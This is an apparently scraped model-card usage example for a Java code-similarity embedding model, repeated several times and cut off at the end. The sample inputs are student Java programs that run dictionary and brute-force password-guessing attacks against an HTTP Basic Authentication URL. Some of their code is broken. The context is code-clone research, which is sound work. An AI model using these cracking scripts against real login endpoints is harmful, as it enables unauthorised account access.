# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
